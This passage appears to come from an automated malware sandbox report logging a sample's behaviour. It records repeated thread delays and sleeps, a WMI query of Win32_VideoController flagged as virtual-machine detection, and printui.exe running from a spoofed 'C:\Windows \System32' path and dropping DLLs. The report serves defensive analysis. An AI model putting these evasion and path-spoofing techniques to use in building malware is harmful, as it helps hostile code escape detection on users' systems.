Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599874
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599653
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599546
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599437
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599218
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599109
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598998
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598890
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598781
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598671
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598552
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598421
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598312
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598203
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598093
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597984
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597874
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597546
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597437
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597212
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597093
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596984
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596874
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596544
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596436
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596218
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596107
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595995
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595875
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595546
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595437
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595218
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595109
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594999
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594890
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594781
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594671
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594562
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599891
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599781
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599657
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599531
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599422
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599312
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599203
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599094
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598984
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598875
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598766
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598547
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598438
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598219
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598109
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597891
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597750
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597641
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597531
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597420
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597312
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597203
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597094
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596983
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596870
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596766
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596547
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596438
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596313
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596188
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596063
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595953
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595844
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595719
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595610
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595485
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595360
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595235
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595110
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594985
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594860
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594735
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594610
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594484
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594375
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7197	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2483	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7399	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2321	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6855	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 830	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7189
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 351
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 3049
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 6804
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 3698
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 6138
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8328
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1048
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8306
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 981
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2788
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3028
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4452
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1320
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3515
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4550
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 353
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3436
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6844
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2523
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7959
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1050
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1652
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7901

Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\x841418.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\libpq.dll	Jump to dropped file

Source: C:\Windows\System32\loaddll64.exe TID: 4928	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep count: 7197 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep count: 2483 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep count: 7399 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 2321 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7280	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep count: 6855 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep count: 830 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep count: 7189 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep count: 351 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep count: 32 > 30
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -29514790517935264s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599874s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7676	Thread sleep count: 3049 > 30
Source: C:\Windows\System32\svchost.exe TID: 7676	Thread sleep count: 6804 > 30
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599765s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599653s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599546s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599437s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599328s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599218s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -599109s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598998s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598890s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598781s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598671s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598552s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598421s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598312s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598203s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -598093s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597984s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597874s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597765s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597656s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597546s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597437s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597328s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597212s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -597093s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596984s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596874s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596765s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596656s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596544s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596436s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596328s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596218s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -596107s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595995s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595875s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595765s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595656s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595546s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595437s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595328s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595218s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -595109s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -594999s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -594890s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -594781s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -594671s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -594562s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7048	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep count: 33 > 30
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7488	Thread sleep count: 3698 > 30
